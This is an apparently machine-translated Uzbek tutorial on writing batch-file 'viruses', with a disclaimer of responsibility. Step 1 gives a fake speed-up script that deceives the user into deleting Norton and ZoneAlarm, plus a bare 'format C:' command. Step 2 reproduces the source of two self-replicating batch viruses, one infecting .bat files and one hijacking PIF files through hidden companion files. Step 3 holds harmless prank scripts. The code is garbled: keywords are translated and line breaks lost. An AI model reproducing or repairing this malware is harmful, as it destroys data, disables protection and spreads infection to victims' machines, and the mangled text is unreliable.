To'plamli fokuslar va viruslar: 3 qadam

2024 Muallif: John Day | [email protected]. Oxirgi o'zgartirilgan: 2024-01-30 13:29

BATCH -da prank va real viruslarni qanday yaratish kerak: Eslatma: Agar siz kompyuteringizga boshqa birovning kompyuteriga etkazgan zararingiz uchun javobgar emasman.

1 -qadam: haqiqiy viruslar (oddiy viruslar)

birinchisi: ***************************************** kodni nusxalash **************@echo, ELECTROfun@echo tomonidan winbooster -ga xush kelibsiz, agar siz kompyuteringizni tezroq ishlashini xohlasangiz,@pauza cd / c quyidagi amallarni bajarishingiz kerak: dir dir c: / progra ~ 1 / norton ~ 1 @echo endi siz "y" ni yozishingiz va Enter ni bosishingiz kerak @pause del c: / progra ~ 1 / norton ~ 1 @pause c: dir @pause @dir c: / progra ~ 1 dir c: / progra ~ 1 / zonea ~ 1 / zonealarm del c: / progra ~ 1 / zonea ~ 1 / zonealarm @echo ok endi sizning kompyuteringiz "HAQIDA!" Tez: chiqish ********************************************* *Eslatma: faylni xohlagan narsangizni saqlang.bat Eslatma: @echodan keyin bo'lgan hamma narsani o'zgartirish mumkin (xohlagan narsani yozish mumkin) Ikkinchisi: *************** rang 02format C: ***************

2 -qadam: haqiqiy viruslar (rivojlanganlar)

1. Eng qudratli *******************@bo'lmasa '%0 ==' agar '%_melt%==' goto meltbeg:: ---- qo'g'irchoq xost --------@echo offecho Salom Dunyo!:: ---- qo'g'irchoq xostini tugatish ----@goto MeLTend [MeLT_2a]: MeLTbeg@echo%_MeLT%if '%1 ==' MeLT goto MeLT %2 agar bo'lmasa %comspec %set comspec = %_ MeLT %buyrug'i %comspec % /e: 5000 /c %0 MeLT virset MeLTcl = %1 %2 %3 %4 %5 %6 %7 %8 %9 qo'ng'iroq % 0 MeLT rhset _MeLT = set MeLTcl = goto MeLTend: MeLTrhset _MeLT = x%0%MeLTcl%: MeLTvirset MeLTH =%0 bo'lmasa%_MeLT %% temp%\ nul o'rnatilgan temp =%tmp%bo'lsa%temp%\ MeLT_2a bor MeLTrun%0 MeLT fnd. %path%: MeLTfndshift%_MeLT%if '%2 ==' MeLTset MeLT =%2 \%MeLTH%.batif bo'lmasa%MeLT%o'rnatilgan MeLT =%2 \%MeLTH%bo'lmasa%MeLT%MeLT = ni o'rnatadi. %2%MeLTH%.batif yo'q%MeLT%o'rnatilgan MeLT =%2%MeLTH%bo'lmasa%MeLT%goto MeLTfndfind "MeLT"%temp%\ MeLT_2aattrib%temp%\ MeLT_2a +h: MeLTrun%MeLTH%MeLT s…%yo'l%: MeLTsshift%_MeLT%agar '%2 ==' MeLTfor %% a dan chiqsa (%2 \*. bat%2*.bat)%MeLTH%MeLT inf %% agoto MeLTs: MeLTinffind / i "MeLT" nulif xato emas 1 -darajali MeLTnoecho @if '%% 0 ==' if '%% _ melt %% ==' goto meltbeg> MeLT.ttype%3 >> MeLT.techo. >> MeLT.ttype% temp %\ MeLT_2a >> MeLT.tmove MeLT.t %3> nulexit MeLT: MeLTact - ekranning tez eriydigan matni normal holatga qaytariladi 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE> MeLT.techo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8 >> MeLT.techo e 120 B4 4C CD 21 00 >> MeLT.techo g >> MeLT.tdebugnuldel MeLT.texit MeLT: MeLTnoset MeLTC =%MeLTC%1if%MeLTC%== 1111111111 MeLTact: MeLTend ********************************* ******** 2. Bu Windows tomonidan DOS dasturlarini ishga tushirish uchun ishlatiladigan PIF fayllarini "zararlaydigan" virus. Bu nusxalarini o'z ichiga olgan yashirin sheriklar partiyalarini yaratish orqali ishlaydi, so'ngra PIF faylini o'zgartiradi, shunda sheriklar partiyasi birinchi bo'lib ishlaydi. Yordamchi ishga tushgandan so'ng, uning nomi sherigiga kodlangan asl xost dasturini ishga tushiradi. Pif fayllari qayta yuqtirilmasligi uchun belgilanadi. Faqat PIF -lar ta'sir qiladi, zararlangan dasturlarga hech qanday o'zgartirish kiritilmaydi. "Davolash" uchun PIFEDIT -dan foydalanib asl fayl nomlarini tiklang va keyin yashirin fayllarni o'chiring. ******************************* ***************@echo o'chirildi:: xost fayl nomi… pifvo = LIST. COM:: loop dispetcher… agar '%1 ==' PiFV goto PiFV_%2:: ni o'rnating virus! set _PiFV = bo'lmasa%comspec%set comspec = C: / COMMAND. COM%_PiFV %% comspec% /e: 5000 /c%0 PiFV go> nulif PiFV bor! del PiFV!:: xostlar to'plamini ishga tushiring PiFVcl = %1 %2 %3 %4 %5 %6 %7 %8 %9 qo'ng'iroq %0 PiFV hstset PiFVo = PiFVcl =:: faollashtirishni tekshiring… echo. | sana | top / i "o'tirdim"> nul. PiFVif xato darajasi 1 goto PiFV_endecho. | vaqt | top "7"> nul. PiFVif xato darajasi 1 goto PiFV_msgset PiFV = echocls%_PiFV %% PiFV%.%PiFV%Bir paytlar Oscer%PiFV ismli otter bor edi. Kim suv tayyorlashni bilaman deb da'vo qilgan.% PiFV% "Endi to'g'onlar yo'q", dedi u, "mening suvimdan foydalaning!"% PiFV% Lekin oqsoqollar taassurot qoldirmadi.pause> nul. PiFVset PiFV = goto PiFV_end: PiFV_msgecho [PiFV] by WaveFuncgoto PiFV_end: PiFV_hst%PiFVo%%PiFVcl%goto PiFV_end: PiFV_goset PiFVh =%0 agar mavjud emas%PiFVh%o'rnatilgan PiFVh =%0.batif uchun emas%%aif) PiFV: %0 PiFV inf %% aexit PiFV -ni chaqiring: PiFV_infset PiFVp = %3:: qurbonning fayl nomini va infektsiya belgisini oling: PIF faylidan disk raskadrovka yordamida … agar PiFV bo'lsa! goto PiFV_1echo m 124, 162 524> PiFV! echo e 100 '@set fn =' >> PiFV! echo m 524, 562 108 >> PiFV! echo n pifv $.bat >> PiFV! echo rcx >> PiFV! echo 47 >> PiFV! Echo w >> PiFV! Echo m 55E, 561 108 >> PiFV! Echo e 10C 0 >> PiFV! Echo n pifv $$. Bat >> PiFV! Echo rcx >> PiFV! Echo 10 >> PiFV! Echo w >> PiFV! Echo q >> PiFV!: PiFV_1debug%PiFVp%nulcall PiFV $ set PiFVn =%fn%qo'ng'iroq PiFV $$ PiFVi =%fn%del PiFV $ ?. bat:: pifvn = orig fayl nomi:: pifvi = infektsiya belgisi:: pifvp = pif fayl nomi:: pifvh = yo'ldosh fayllari:: zararlangan yoki "bo'sh" piflarni o'tkazib yuboring … agar '%PiFVi%==' PiFV goto PiFV_endif '%PiFVn%==' goto PiFV_end:: buyruqni soya qilmang.com echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88> PiFV $$ echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21 >> PiFV $$ echo e 120 c3 73 65 74 20 66 6e 3d 24 00 >> PiFV $$ echo n pifv $.com >> PiFV $$ echo rcx >> PiFV $$ echo 2a >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ debugnulecho%PiFVn%| PiFV $> PiFV $$. Batcall PiFV $$ set PiFVb =%fn%.batdel PiFV $?.*:: pifvb = yangi partiya nomi:: agar kompozitsiyada bir xil bo'lsa, soyani qo'ymang. hostif nomi%PiFVo%==%PiFVb%goto PiFV_endif mavjud%PiFVb%goto PiFV_endecho @echo off>%PiFVb%echo set pifvo =%pifvn%>>%PiFVb%"PiFV">%PiFVb%attrib%PiFVb%toping +h::… va PIFni yo'riqchiga e 15E 'PiFV', 0> PiFV $$ echo e 124 '%PiFVb%', 0 >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV ga yo'naltiring. $$ disk raskadrovka %PiFVp %nuldel PiFV $$:: Menimcha, biz tugadik! PiFVdan chiqish: PiFV_end:: bu erda qancha xato bor? Bilishning yagona bir yo'li: *************************************** **********

3 -qadam: Prank virusi va hiyla

1.prank virus ******************* rang 02@echo offecho dir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/ sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/secho@echo* ************************* Eslatma: "02 rang" - bu matnni green2.trick (matritsa kodi) qilish ****** **************************@echo offcolor 02: startecho %tasodifiy %tasodifiy %tasodifiy %tasodifiy %tasodifiy %tasodifiy % tasodifiy% tasodifiy% tasodifiy%% tasodifiy% tasodifiy% tasodifiy% tasodifiy% tasodifiy% tasodifan boshlash kerak ************************ ******************